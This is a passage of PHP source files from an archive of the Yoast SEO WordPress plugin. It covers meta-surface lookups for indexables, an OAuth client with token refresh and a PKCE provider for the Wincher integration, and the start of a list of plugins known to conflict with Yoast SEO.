	 * @throws Forbidden_Property_Mutation_Exception Set is never meant to be called.
	 */
	public function __set( $name, $value ) { // @phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- __set must have a name and value - PHPCS #3715.
		throw Forbidden_Property_Mutation_Exception::cannot_set_because_property_is_immutable( $name );
	}

	/**
	 * Prevents unsetting dynamic properties and unsetting declared properties
	 * from an inaccessible context.
	 *
	 * @param string $name The property name.
	 *
	 * @return void
	 *
	 * @throws Forbidden_Property_Mutation_Exception Unset is never meant to be called.
	 */
	public function __unset( $name ) {
		throw Forbidden_Property_Mutation_Exception::cannot_unset_because_property_is_immutable( $name );
	}

	/**
	 * Get the class name from a helper slug
	 *
	 * @param string $helper The name of the helper.
	 *
	 * @return string
	 */
	protected function get_helper_class( $helper ) {
		if ( \in_array( $helper, $this->capitalized_helpers, true ) ) {
			$helper = \strtoupper( $helper );
		}
		$helper = \implode( '_', \array_map( 'ucfirst', \explode( '_', $helper ) ) );
		return "Yoast\WP\SEO\Helpers\Schema\\{$helper}_Helper";
	}
}
wordpress-seo/src/surfaces/meta-surface.php000064400000024401147510273100015050 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces;

use Yoast\WP\SEO\Context\Meta_Tags_Context;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Memoizers\Meta_Tags_Context_Memoizer;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Surfaces\Values\Meta;
use Yoast\WP\SEO\Wrappers\WP_Rewrite_Wrapper;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Meta_Surface class.
 *
 * Surface for the indexables.
 */
class Meta_Surface {

	/**
	 * The container.
	 *
	 * @var ContainerInterface
	 */
	private $container;

	/**
	 * The memoizer for the meta tags context.
	 *
	 * @var Meta_Tags_Context_Memoizer
	 */
	private $context_memoizer;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	private $repository;

	/**
	 * Holds the WP rewrite wrapper instance.
	 *
	 * @var WP_Rewrite_Wrapper
	 */
	private $wp_rewrite_wrapper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * Meta_Surface constructor.
	 *
	 * @param ContainerInterface         $container            The DI container.
	 * @param Meta_Tags_Context_Memoizer $context_memoizer     The meta tags context memoizer.
	 * @param Indexable_Repository       $indexable_repository The indexable repository.
	 * @param WP_Rewrite_Wrapper         $wp_rewrite_wrapper   The WP rewrite wrapper.
	 * @param Indexable_Helper           $indexable_helper     The indexable helper.
	 */
	public function __construct(
		ContainerInterface $container,
		Meta_Tags_Context_Memoizer $context_memoizer,
		Indexable_Repository $indexable_repository,
		WP_Rewrite_Wrapper $wp_rewrite_wrapper,
		Indexable_Helper $indexable_helper
	) {
		$this->container          = $container;
		$this->context_memoizer   = $context_memoizer;
		$this->repository         = $indexable_repository;
		$this->wp_rewrite_wrapper = $wp_rewrite_wrapper;
		$this->indexable_helper   = $indexable_helper;
	}

	/**
	 * Returns the meta tags context for the current page.
	 *
	 * @return Meta The meta values.
	 */
	public function for_current_page() {
		return $this->build_meta( $this->context_memoizer->for_current_page() );
	}

	/**
	 * Returns the meta tags context for the home page.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_home_page() {
		$front_page_id = (int) \get_option( 'page_on_front' );
		if ( \get_option( 'show_on_front' ) === 'page' && $front_page_id !== 0 ) {
			$indexable = $this->repository->find_by_id_and_type( $front_page_id, 'post' );

			if ( ! $indexable ) {
				return false;
			}

			return $this->build_meta( $this->context_memoizer->get( $indexable, 'Static_Home_Page' ) );
		}

		$indexable = $this->repository->find_for_home_page();

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Home_Page' ) );
	}

	/**
	 * Returns the meta tags context for the posts page.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_posts_page() {
		$posts_page_id = (int) \get_option( 'page_for_posts' );
		if ( $posts_page_id !== 0 ) {
			$indexable = $this->repository->find_by_id_and_type( $posts_page_id, 'post' );

			if ( ! $indexable ) {
				return false;
			}

			return $this->build_meta( $this->context_memoizer->get( $indexable, 'Static_Posts_Page' ) );
		}

		$indexable = $this->repository->find_for_home_page();

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Home_Page' ) );
	}

	/**
	 * Returns the meta tags context for a post type archive.
	 *
	 * @param string|null $post_type Optional. The post type to get the archive meta for. Defaults to the current post type.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_post_type_archive( $post_type = null ) {
		if ( $post_type === null ) {
			$post_type = \get_post_type();
		}

		$indexable = $this->repository->find_for_post_type_archive( $post_type );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type_Archive' ) );
	}

	/**
	 * Returns the meta tags context for the search result page.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_search_result() {
		$indexable = $this->repository->find_for_system_page( 'search-result' );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Search_Result_Page' ) );
	}

	/**
	 * Returns the meta tags context for the search result page.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_404() {
		$indexable = $this->repository->find_for_system_page( '404' );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Error_Page' ) );
	}

	/**
	 * Returns the meta tags context for a post.
	 *
	 * @param int $id The ID of the post.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_post( $id ) {
		$indexable = $this->repository->find_by_id_and_type( $id, 'post' );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type' ) );
	}

	/**
	 * Returns the meta tags context for a number of posts.
	 *
	 * @param int[] $ids The IDs of the posts.
	 *
	 * @return Meta[]|false The meta values. False if none could be found.
	 */
	public function for_posts( $ids ) {
		$indexables = $this->repository->find_by_multiple_ids_and_type( $ids, 'post' );

		if ( empty( $indexables ) ) {
			return false;
		}

		// Remove all false values.
		$indexables = \array_filter( $indexables );

		return \array_map(
			function ( $indexable ) {
				return $this->build_meta( $this->context_memoizer->get( $indexable, 'Post_Type' ) );
			},
			$indexables
		);
	}

	/**
	 * Returns the meta tags context for a term.
	 *
	 * @param int $id The ID of the term.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_term( $id ) {
		$indexable = $this->repository->find_by_id_and_type( $id, 'term' );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Term_Archive' ) );
	}

	/**
	 * Returns the meta tags context for an author.
	 *
	 * @param int $id The ID of the author.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_author( $id ) {
		$indexable = $this->repository->find_by_id_and_type( $id, 'user' );

		if ( ! $indexable ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, 'Author_Archive' ) );
	}

	/**
	 * Returns the meta for an indexable.
	 *
	 * @param Indexable   $indexable The indexable.
	 * @param string|null $page_type Optional. The page type if already known.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_indexable( $indexable, $page_type = null ) {

		if ( ! \is_a( $indexable, Indexable::class ) ) {
			return false;
		}
		if ( \is_null( $page_type ) ) {
			$page_type = $this->indexable_helper->get_page_type_for_indexable( $indexable );
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, $page_type ) );
	}

	/**
	 * Returns the meta for an indexable.
	 *
	 * @param Indexable[] $indexables The indexables.
	 * @param string|null $page_type  Optional. The page type if already known.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_indexables( $indexables, $page_type = null ) {
		$closure = function ( $indexable ) use ( $page_type ) {
			$this_page_type = $page_type;
			if ( \is_null( $this_page_type ) ) {
				$this_page_type = $this->indexable_helper->get_page_type_for_indexable( $indexable );
			}

			return $this->build_meta( $this->context_memoizer->get( $indexable, $this_page_type ) );
		};

		return \array_map( $closure, $indexables );
	}

	/**
	 * Returns the meta tags context for a url.
	 *
	 * @param string $url The url of the page. Required to be relative to the site url.
	 *
	 * @return Meta|false The meta values. False if none could be found.
	 */
	public function for_url( $url ) {
		$url_parts  = \wp_parse_url( $url );
		$site_parts = \wp_parse_url( \site_url() );

		if ( ( ! \is_array( $url_parts ) || ! \is_array( $site_parts ) )
			|| ! isset( $url_parts['host'], $url_parts['path'], $site_parts['host'], $site_parts['scheme'] )
		) {
			return false;
		}

		if ( $url_parts['host'] !== $site_parts['host'] ) {
			return false;
		}
		// Ensure the scheme is consistent with values in the DB.
		$url = $site_parts['scheme'] . '://' . $url_parts['host'] . $url_parts['path'];

		if ( $this->is_date_archive_url( $url ) ) {
			$indexable = $this->repository->find_for_date_archive();
		}
		else {
			$indexable = $this->repository->find_by_permalink( $url );
		}

		// If we still don't have an indexable abort, the WP globals could be anything so we can't use the unknown indexable.
		if ( ! $indexable ) {
			return false;
		}
		$page_type = $this->indexable_helper->get_page_type_for_indexable( $indexable );

		if ( $page_type === false ) {
			return false;
		}

		return $this->build_meta( $this->context_memoizer->get( $indexable, $page_type ) );
	}

	/**
	 * Checks if a given URL is a date archive URL.
	 *
	 * @param string $url The url.
	 *
	 * @return bool
	 */
	protected function is_date_archive_url( $url ) {
		$path = \wp_parse_url( $url, \PHP_URL_PATH );
		if ( $path === null ) {
			return false;
		}

		$path         = \ltrim( $path, '/' );
		$wp_rewrite   = $this->wp_rewrite_wrapper->get();
		$date_rewrite = $wp_rewrite->generate_rewrite_rules( $wp_rewrite->get_date_permastruct(), \EP_DATE );
		$date_rewrite = \apply_filters( 'date_rewrite_rules', $date_rewrite );

		foreach ( (array) $date_rewrite as $match => $query ) {
			if ( \preg_match( "#^$match#", $path ) ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Creates a new meta value object
	 *
	 * @param Meta_Tags_Context $context The meta tags context.
	 *
	 * @return Meta The meta value
	 */
	protected function build_meta( Meta_Tags_Context $context ) {
		return new Meta( $context, $this->container );
	}
}
wordpress-seo/src/surfaces/classes-surface.php000064400000001456147510273100015564 0ustar00<?php

namespace Yoast\WP\SEO\Surfaces;

use YoastSEO_Vendor\Symfony\Component\DependencyInjection\ContainerInterface;

/**
 * Class Classes_Surface.
 *
 * Surface for the indexables.
 */
class Classes_Surface {

	/**
	 * The dependency injection container.
	 *
	 * @var ContainerInterface
	 */
	public $container;

	/**
	 * Loader constructor.
	 *
	 * @param ContainerInterface $container The dependency injection container.
	 */
	public function __construct( ContainerInterface $container ) {
		$this->container = $container;
	}

	/**
	 * Returns the instance of a class. Handy for unhooking things.
	 *
	 * @param string $class_name The class to get the instance of.
	 *
	 * @return mixed The instance of the class.
	 */
	public function get( $class_name ) {
		return $this->container->get( $class_name );
	}
}
wordpress-seo/src/config/badge-group-names.php000064400000002771147510273100015431 0ustar00<?php

namespace Yoast\WP\SEO\Config;

/**
 * Class Badge_Group_Names.
 *
 * This class defines groups for "new" badges, with the version in which those groups are no longer considered
 * to be "new".
 */
class Badge_Group_Names {

	public const GROUP_GLOBAL_TEMPLATES = 'global-templates';

	/**
	 * Constant describing when certain groups of new badges will no longer be shown.
	 */
	public const GROUP_NAMES = [
		self::GROUP_GLOBAL_TEMPLATES => '16.7-beta0',
	];

	/**
	 * The current plugin version.
	 *
	 * @var string
	 */
	protected $version;

	/**
	 * Badge_Group_Names constructor.
	 *
	 * @param string|null $version Optional: the current plugin version.
	 */
	public function __construct( $version = null ) {
		if ( ! $version ) {
			$version = \WPSEO_VERSION;
		}
		$this->version = $version;
	}

	/**
	 * Check whether a group of badges is still eligible for a "new" badge.
	 *
	 * @param string      $group           One of the GROUP_* constants.
	 * @param string|null $current_version The current version of the plugin that's being checked.
	 *
	 * @return bool Whether a group of badges is still eligible for a "new" badge.
	 */
	public function is_still_eligible_for_new_badge( $group, $current_version = null ) {
		if ( ! \array_key_exists( $group, $this::GROUP_NAMES ) ) {
			return false;
		}

		$group_version = $this::GROUP_NAMES[ $group ];

		if ( \is_null( $current_version ) ) {
			$current_version = $this->version;
		}

		return (bool) \version_compare( $group_version, $current_version, '>' );
	}
}
wordpress-seo/src/config/oauth-client.php000064400000021617147510273100014530 0ustar00<?php

namespace Yoast\WP\SEO\Config;

use Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Authentication_Failed_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Property_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Empty_Token_Exception;
use Yoast\WP\SEO\Exceptions\OAuth\Tokens\Failed_Storage_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Values\OAuth\OAuth_Token;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\GenericProvider;

/**
 * Class OAuth_Client
 */
abstract class OAuth_Client {

	/**
	 * The option's key.
	 *
	 * @var string
	 */
	protected $token_option = null;

	/**
	 * The provider.
	 *
	 * @var Wincher_PKCE_Provider|GenericProvider
	 */
	protected $provider;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The token.
	 *
	 * @var OAuth_Token|null
	 */
	protected $token = null;

	/**
	 * OAuth_Client constructor.
	 *
	 * @param string                                $token_option   The option's name to save the token as.
	 * @param Wincher_PKCE_Provider|GenericProvider $provider       The provider.
	 * @param Options_Helper                        $options_helper The Options_Helper instance.
	 *
	 * @throws Empty_Property_Exception Exception thrown if a token property is empty.
	 */
	public function __construct(
		$token_option,
		$provider,
		Options_Helper $options_helper
	) {
		$this->provider       = $provider;
		$this->token_option   = $token_option;
		$this->options_helper = $options_helper;

		$tokens = $this->options_helper->get( $this->token_option );

		if ( ! empty( $tokens ) ) {
			$this->token = new OAuth_Token(
				$tokens['access_token'],
				$tokens['refresh_token'],
				$tokens['expires'],
				$tokens['has_expired'],
				$tokens['created_at'],
				( $tokens['error_count'] ?? 0 )
			);
		}
	}

	/**
	 * Requests the access token and refresh token based on the passed code.
	 *
	 * @param string $code The code to send.
	 *
	 * @return OAuth_Token The requested tokens.
	 *
	 * @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
	 */
	public function request_tokens( $code ) {
		try {
			$response = $this->provider
				->getAccessToken(
					'authorization_code',
					[
						'code' => $code,
					]
				);

			$token = OAuth_Token::from_response( $response );

			return $this->store_token( $token );
		} catch ( Exception $exception ) {
			throw new Authentication_Failed_Exception( $exception );
		}
	}

	/**
	 * Performs an authenticated GET request to the desired URL.
	 *
	 * @param string $url     The URL to send the request to.
	 * @param array  $options The options to pass along to the request.
	 *
	 * @return mixed The parsed API response.
	 *
	 * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
	 * @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
	 * @throws Empty_Token_Exception Exception thrown if the token is empty.
	 */
	public function get( $url, $options = [] ) {
		return $this->do_request( 'GET', $url, $options );
	}

	/**
	 * Performs an authenticated POST request to the desired URL.
	 *
	 * @param string $url     The URL to send the request to.
	 * @param mixed  $body    The data to send along in the request's body.
	 * @param array  $options The options to pass along to the request.
	 *
	 * @return mixed The parsed API response.
	 *
	 * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
	 * @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
	 * @throws Empty_Token_Exception Exception thrown if the token is empty.
	 */
	public function post( $url, $body, $options = [] ) {
		$options['body'] = $body;

		return $this->do_request( 'POST', $url, $options );
	}

	/**
	 * Performs an authenticated DELETE request to the desired URL.
	 *
	 * @param string $url     The URL to send the request to.
	 * @param array  $options The options to pass along to the request.
	 *
	 * @return mixed The parsed API response.
	 *
	 * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
	 * @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
	 * @throws Empty_Token_Exception Exception thrown if the token is empty.
	 */
	public function delete( $url, $options = [] ) {
		return $this->do_request( 'DELETE', $url, $options );
	}

	/**
	 * Determines whether there are valid tokens available.
	 *
	 * @return bool Whether there are valid tokens.
	 */
	public function has_valid_tokens() {
		return ! empty( $this->token ) && $this->token->has_expired() === false;
	}

	/**
	 * Gets the stored tokens and refreshes them if they've expired.
	 *
	 * @return OAuth_Token The stored tokens.
	 *
	 * @throws Empty_Token_Exception Exception thrown if the token is empty.
	 */
	public function get_tokens() {
		if ( empty( $this->token ) ) {
			throw new Empty_Token_Exception();
		}

		if ( $this->token->has_expired() ) {
			$this->token = $this->refresh_tokens( $this->token );
		}

		return $this->token;
	}

	/**
	 * Stores the passed token.
	 *
	 * @param OAuth_Token $token The token to store.
	 *
	 * @return OAuth_Token The stored token.
	 *
	 * @throws Failed_Storage_Exception Exception thrown if storing of the token fails.
	 */
	public function store_token( OAuth_Token $token ) {
		$saved = $this->options_helper->set( $this->token_option, $token->to_array() );

		if ( $saved === false ) {
			throw new Failed_Storage_Exception();
		}

		return $token;
	}

	/**
	 * Clears the stored token from storage.
	 *
	 * @return bool The stored token.
	 *
	 * @throws Failed_Storage_Exception Exception thrown if clearing of the token fails.
	 */
	public function clear_token() {
		$saved = $this->options_helper->set( $this->token_option, [] );

		if ( $saved === false ) {
			throw new Failed_Storage_Exception();
		}

		return true;
	}

	/**
	 * Performs the specified request.
	 *
	 * @param string $method  The HTTP method to use.
	 * @param string $url     The URL to send the request to.
	 * @param array  $options The options to pass along to the request.
	 *
	 * @return mixed The parsed API response.
	 *
	 * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data.
	 * @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
	 * @throws Empty_Token_Exception Exception thrown if the token is empty.
	 */
	protected function do_request( $method, $url, array $options ) {
		$defaults = [
			'headers' => $this->provider->getHeaders( $this->get_tokens()->access_token ),
		];

		$options = \array_merge_recursive( $defaults, $options );

		if ( \array_key_exists( 'params', $options ) ) {
			$url .= '?' . \http_build_query( $options['params'] );
			unset( $options['params'] );
		}

		$request = $this->provider
			->getAuthenticatedRequest( $method, $url, null, $options );

		return $this->provider->getParsedResponse( $request );
	}

	/**
	 * Refreshes the outdated tokens.
	 *
	 * @param OAuth_Token $tokens The outdated tokens.
	 *
	 * @return OAuth_Token The refreshed tokens.
	 *
	 * @throws Authentication_Failed_Exception Exception thrown if authentication has failed.
	 */
	protected function refresh_tokens( OAuth_Token $tokens ) {
		// We do this dance with transients since we need to make sure we don't
		// delete valid tokens because of a race condition when two calls are
		// made simultaneously to this function and refresh token rotation is
		// turned on in the OAuth server. This is not 100% safe, but should at
		// least be much better than not having any lock at all.
		$lock_name = \sprintf( 'lock:%s', $this->token_option );
		$can_lock  = \get_transient( $lock_name ) === false;
		$has_lock  = $can_lock && \set_transient( $lock_name, true, 30 );

		try {
			$new_tokens = $this->provider->getAccessToken(
				'refresh_token',
				[
					'refresh_token' => $tokens->refresh_token,
				]
			);

			$token_obj = OAuth_Token::from_response( $new_tokens );

			return $this->store_token( $token_obj );
		} catch ( Exception $exception ) {
			// If we tried to refresh but the refresh token is invalid, delete
			// the tokens so that we don't try again. Only do this if we got the
			// lock at the beginning of the call.
			if ( $has_lock && $exception->getMessage() === 'invalid_grant' ) {
				try {
					// To protect from race conditions, only do this if we've
					// seen an error before with the same token.
					if ( $tokens->error_count >= 1 ) {
						$this->clear_token();
					}
					else {
						$tokens->error_count += 1;
						$this->store_token( $tokens );
					}
				} catch ( Exception $e ) {  // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch
					// Pass through.
				}
			}

			throw new Authentication_Failed_Exception( $exception );
		} finally {
			\delete_transient( $lock_name );
		}
	}
}
wordpress-seo/src/config/wincher-pkce-provider.php000064400000016020147510273100016333 0ustar00<?php

namespace Yoast\WP\SEO\Config;

use Exception;
use UnexpectedValueException;
use YoastSEO_Vendor\GuzzleHttp\Exception\BadResponseException;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\Exception\IdentityProviderException;
use YoastSEO_Vendor\League\OAuth2\Client\Provider\GenericProvider;
use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessToken;
use YoastSEO_Vendor\League\OAuth2\Client\Token\AccessTokenInterface;
use YoastSEO_Vendor\League\OAuth2\Client\Tool\BearerAuthorizationTrait;
use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Log\InvalidArgumentException;

/**
 * Class Wincher_PKCE_Provider
 *
 * @codeCoverageIgnore Ignoring as this class is purely a temporary wrapper until https://github.com/thephpleague/oauth2-client/pull/901 is merged.
 *
 * @phpcs:disable WordPress.NamingConventions.ValidVariableName.PropertyNotSnakeCase -- This class extends an external class.
 * @phpcs:disable WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase -- This class extends an external class.
 */
class Wincher_PKCE_Provider extends GenericProvider {

	use BearerAuthorizationTrait;

	/**
	 * The method to use.
	 *
	 * @var string
	 */
	protected $pkceMethod = null;

	/**
	 * The PKCE code.
	 *
	 * @var string
	 */
	protected $pkceCode;

	/**
	 * Set the value of the pkceCode parameter.
	 *
	 * When using PKCE this should be set before requesting an access token.
	 *
	 * @param string $pkce_code The value for the pkceCode.
	 * @return self
	 */
	public function setPkceCode( $pkce_code ) {
		$this->pkceCode = $pkce_code;
		return $this;
	}

	/**
	 * Returns the current value of the pkceCode parameter.
	 *
	 * This can be accessed by the redirect handler during authorization.
	 *
	 * @return string
	 */
	public function getPkceCode() {
		return $this->pkceCode;
	}

	/**
	 * Returns a new random string to use as PKCE code_verifier and
	 * hashed as code_challenge parameters in an authorization flow.
	 * Must be between 43 and 128 characters long.
	 *
	 * @param int $length Length of the random string to be generated.
	 *
	 * @return string
	 *
	 * @throws Exception Throws exception if an invalid value is passed to random_bytes.
	 */
	protected function getRandomPkceCode( $length = 64 ) {
		return \substr(
			\strtr(
				// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
				\base64_encode( \random_bytes( $length ) ),
				'+/',
				'-_'
			),
			0,
			$length
		);
	}

	/**
	 * Returns the current value of the pkceMethod parameter.
	 *
	 * @return string|null
	 */
	protected function getPkceMethod() {
		return $this->pkceMethod;
	}

	/**
	 * Returns authorization parameters based on provided options.
	 *
	 * @param array $options The options to use in the authorization parameters.
	 *
	 * @return array The authorization parameters
	 *
	 * @throws InvalidArgumentException Throws exception if an invalid PCKE method is passed in the options.
	 * @throws Exception                When something goes wrong with generating the PKCE code.
	 */
	protected function getAuthorizationParameters( array $options ) {
		if ( empty( $options['state'] ) ) {
			$options['state'] = $this->getRandomState();
		}

		if ( empty( $options['scope'] ) ) {
			$options['scope'] = $this->getDefaultScopes();
		}

		$options += [
			'response_type'   => 'code',
		];

		if ( \is_array( $options['scope'] ) ) {
			$separator        = $this->getScopeSeparator();
			$options['scope'] = \implode( $separator, $options['scope'] );
		}

		// Store the state as it may need to be accessed later on.
		$this->state = $options['state'];

		$pkce_method = $this->getPkceMethod();
		if ( ! empty( $pkce_method ) ) {
			$this->pkceCode = $this->getRandomPkceCode();
			if ( $pkce_method === 'S256' ) {
				$options['code_challenge'] = \trim(
					\strtr(
						// phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode
						\base64_encode( \hash( 'sha256', $this->pkceCode, true ) ),
						'+/',
						'-_'
					),
					'='
				);
			}
			elseif ( $pkce_method === 'plain' ) {
				$options['code_challenge'] = $this->pkceCode;
			}
			else {
				throw new InvalidArgumentException( 'Unknown PKCE method "' . $pkce_method . '".' );
			}
			$options['code_challenge_method'] = $pkce_method;
		}

		// Business code layer might set a different redirect_uri parameter.
		// Depending on the context, leave it as-is.
		if ( ! isset( $options['redirect_uri'] ) ) {
			$options['redirect_uri'] = $this->redirectUri;
		}

		$options['client_id'] = $this->clientId;

		return $options;
	}

	/**
	 * Requests an access token using a specified grant and option set.
	 *
	 * @param mixed $grant   The grant to request access for.
	 * @param array $options The options to use with the current request.
	 *
	 * @return AccessToken|AccessTokenInterface The access token.
	 *
	 * @throws UnexpectedValueException Exception thrown if the provider response contains errors.
	 */
	public function getAccessToken( $grant, array $options = [] ) {
		$grant = $this->verifyGrant( $grant );

		$params = [
			'client_id'     => $this->clientId,
			'client_secret' => $this->clientSecret,
			'redirect_uri'  => $this->redirectUri,
		];

		if ( ! empty( $this->pkceCode ) ) {
			$params['code_verifier'] = $this->pkceCode;
		}

		$params   = $grant->prepareRequestParameters( $params, $options );
		$request  = $this->getAccessTokenRequest( $params );
		$response = $this->getParsedResponse( $request );

		if ( \is_array( $response ) === false ) {
			throw new UnexpectedValueException(
				'Invalid response received from Authorization Server. Expected JSON.'
			);
		}

		$prepared = $this->prepareAccessTokenResponse( $response );
		$token    = $this->createAccessToken( $prepared, $grant );

		return $token;
	}

	/**
	 * Returns all options that can be configured.
	 *
	 * @return array The configurable options.
	 */
	protected function getConfigurableOptions() {
		return \array_merge(
			$this->getRequiredOptions(),
			[
				'accessTokenMethod',
				'accessTokenResourceOwnerId',
				'scopeSeparator',
				'responseError',
				'responseCode',
				'responseResourceOwnerId',
				'scopes',
				'pkceMethod',
			]
		);
	}

	/**
	 * Parses the request response.
	 *
	 * @param RequestInterface $request The request interface.
	 *
	 * @return array The parsed response.
	 *
	 * @throws IdentityProviderException Exception thrown if there is no proper identity provider.
	 */
	public function getParsedResponse( RequestInterface $request ) {
		try {
			$response = $this->getResponse( $request );
		} catch ( BadResponseException $e ) {
			$response = $e->getResponse();
		}

		$parsed = $this->parseResponse( $response );

		$this->checkResponse( $response, $parsed );

		// We always expect an array from the API except for on DELETE requests.
		// We convert to an array here to prevent problems with array_key_exists on PHP8.
		if ( ! \is_array( $parsed ) ) {
			$parsed = [ 'data' => [] ];
		}

		// Add the response code as this is omitted from Winchers API.
		if ( ! \array_key_exists( 'status', $parsed ) ) {
			$parsed['status'] = $response->getStatusCode();
		}

		return $parsed;
	}
}
wordpress-seo/src/config/conflicting-plugins.php000064400000012443147510273100016107 0ustar00<?php

namespace Yoast\WP\SEO\Config;

/**
 * Conflicting_Plugins class that holds all known conflicting plugins.
 */
class Conflicting_Plugins {

	public const OPEN_GRAPH_PLUGINS = [
		'2-click-socialmedia-buttons/2-click-socialmedia-buttons.php',
		// 2 Click Social Media Buttons.
		'add-link-to-facebook/add-link-to-facebook.php',         // Add Link to Facebook.
		'add-meta-tags/add-meta-tags.php',                       // Add Meta Tags.
		'easy-facebook-share-thumbnails/esft.php',               // Easy Facebook Share Thumbnail.
		'facebook/facebook.php',                                 // Facebook (official plugin).
		'facebook-awd/AWD_facebook.php',                         // Facebook AWD All in one.
		'facebook-featured-image-and-open-graph-meta-tags/fb-featured-image.php',
		// Facebook Featured Image & OG Meta Tags.
		'facebook-meta-tags/facebook-metatags.php',              // Facebook Meta Tags.
		'wonderm00ns-simple-facebook-open-graph-tags/wonderm00n-open-graph.php',
		// Facebook Open Graph Meta Tags for WordPress.
		'facebook-revised-open-graph-meta-tag/index.php',        // Facebook Revised Open Graph Meta Tag.
		'facebook-thumb-fixer/_facebook-thumb-fixer.php',        // Facebook Thumb Fixer.
		'facebook-and-digg-thumbnail-generator/facebook-and-digg-thumbnail-generator.php',
		// Fedmich's Facebook Open Graph Meta.
		'network-publisher/networkpub.php',                      // Network Publisher.
		'nextgen-facebook/nextgen-facebook.php',                 // NextGEN Facebook OG.
		'opengraph/opengraph.php',                               // Open Graph.
		'open-graph-protocol-framework/open-graph-protocol-framework.php',
		// Open Graph Protocol Framework.
		'seo-facebook-comments/seofacebook.php',                 // SEO Facebook Comments.
		'sexybookmarks/sexy-bookmarks.php',                      // Shareaholic.
		'shareaholic/sexy-bookmarks.php',                        // Shareaholic.
		'sharepress/sharepress.php',                             // SharePress.
		'simple-facebook-connect/sfc.php',                       // Simple Facebook Connect.
		'social-discussions/social-discussions.php',             // Social Discussions.
		'social-sharing-toolkit/social_sharing_toolkit.php',     // Social Sharing Toolkit.
		'socialize/socialize.php',                               // Socialize.
		'only-tweet-like-share-and-google-1/tweet-like-plusone.php',
		// Tweet, Like, Google +1 and Share.
		'wordbooker/wordbooker.php',                             // Wordbooker.
		'wpsso/wpsso.php',                                       // WordPress Social Sharing Optimization.
		'wp-caregiver/wp-caregiver.php',                         // WP Caregiver.
		'wp-facebook-like-send-open-graph-meta/wp-facebook-like-send-open-graph-meta.php',
		// WP Facebook Like Send & Open Graph Meta.
		'wp-facebook-open-graph-protocol/wp-facebook-ogp.php',   // WP Facebook Open Graph protocol.
		'wp-ogp/wp-ogp.php',                                     // WP-OGP.
		'zoltonorg-social-plugin/zosp.php',                      // Zolton.org Social Plugin.
	];

	public const XML_SITEMAPS_PLUGINS = [
		'google-sitemap-plugin/google-sitemap-plugin.php',
		// Google Sitemap (BestWebSoft).
		'xml-sitemaps/xml-sitemaps.php',
		// XML Sitemaps (Denis de Bernardy and Mike Koepke).
		'bwp-google-xml-sitemaps/bwp-simple-gxs.php',
		// Better WordPress Google XML Sitemaps (Khang Minh).
		'google-sitemap-generator/sitemap.php',
		// Google XML Sitemaps (Arne Brachhold).
		'xml-sitemap-feed/xml-sitemap.php',
		// XML Sitemap & Google News feeds (RavanH).
		'google-monthly-xml-sitemap/monthly-xml-sitemap.php',
		// Google Monthly XML Sitemap (Andrea Pernici).
		'simple-google-sitemap-xml/simple-google-sitemap-xml.php',
		// Simple Google Sitemap XML (iTx Technologies).
		'another-simple-xml-sitemap/another-simple-xml-sitemap.php',
		// Another Simple XML Sitemap.
